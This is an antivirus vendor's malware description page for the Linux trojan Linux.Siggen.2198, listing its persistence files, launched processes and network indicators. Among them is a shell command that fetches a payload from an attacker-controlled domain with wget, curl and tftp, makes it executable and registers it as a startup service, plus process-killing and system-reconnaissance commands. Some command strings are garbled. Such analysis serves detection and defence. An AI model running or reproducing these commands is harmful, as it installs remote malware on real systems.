Mi biblioteca
Mi biblioteca

+ Añadir a la biblioteca

Soporte
Soporte 24 horas | Normas de contactar

Sus solicitudes

Perfil

Linux.Siggen.2198

Added to the Dr.Web virus database: 2019-10-06

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/init.d/start
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
  • update-rc.d start defaultstc/rc.d/dynddns.cftart
  • systemctl enable startysv-install enable startrt
Launches processes:
  • sh -c (killall Netis >/dev/null 2>&1 & killall \" \" >/dev/null 2>&1 & killall \" \" >/dev/null 2>&1) >/dev/null 2>&1
  • sh -c (cd /etc/init.d;wget http://dynddns.cf/start/help/start -O start;curl http://dynddns.cf/start/help/start -o start;tftp -g -l sshd -r starthelpstart dynddns.cftart;chmod 777 /etc/init.d/startpstart dynddns.cftart;ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart;update-rc.d start defaultstc/rc.d/dynddns.cftart;/lib/systemd/systemd-sysv-install enable startrt;systemctl enable startysv-install enable startrt;chkconfig --add starttysv-install enable startrt;chkconfig start onarttysv-install enable startrt;) &> /dev/null 2>&1
  • wget http://dynddns.cf/start/help/start -O start
  • chmod 777 /etc/init.d/startpstart dynddns.cftart
  • ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart
  • /lib/systemd/systemd-sysv-install enable startrt
  • sh -c grep -c ^processor /proc/cpuinfo
  • grep -c ^processor /proc/cpuinfo
  • sh -c free|grep \"Mem:\"|awk '{print $2 \" KB\"}'||printf \"Ram Not Foun
  • free
  • grep Mem:
  • awk {print $2 \" KB\"}
  • sh -c if [ -f /usr/bin/yum ]; then cat /etc/system-release|head -n1; elif [ -f /usr/bin/apt-get ]; then lsb_release -d|awk '{$1= \"\"; print $0}'|head -n1 ; elif [ -f /usr/bin/install ]; then busybox|head -n1|awk '{print $1\" \"$2}';fi
  • lsb_release -d
  • awk {$1= \"\"; print $0}
  • head -n1
  • sh -c uname -r
  • uname -r
  • sh -c uname -n
  • uname -n
  • sh -c ps aux | wc -l
  • ps aux
  • wc -l
Attempts to kill the following processes:
  • killall
  • killall Netis
  • killall
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 19#.##7.176.20:2323
HTTP GET requests:
  • http://###.###.221.118/mail/
  • dy#####.cf/start/help/start
DNS ASK:
  • dy##dns.cf
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number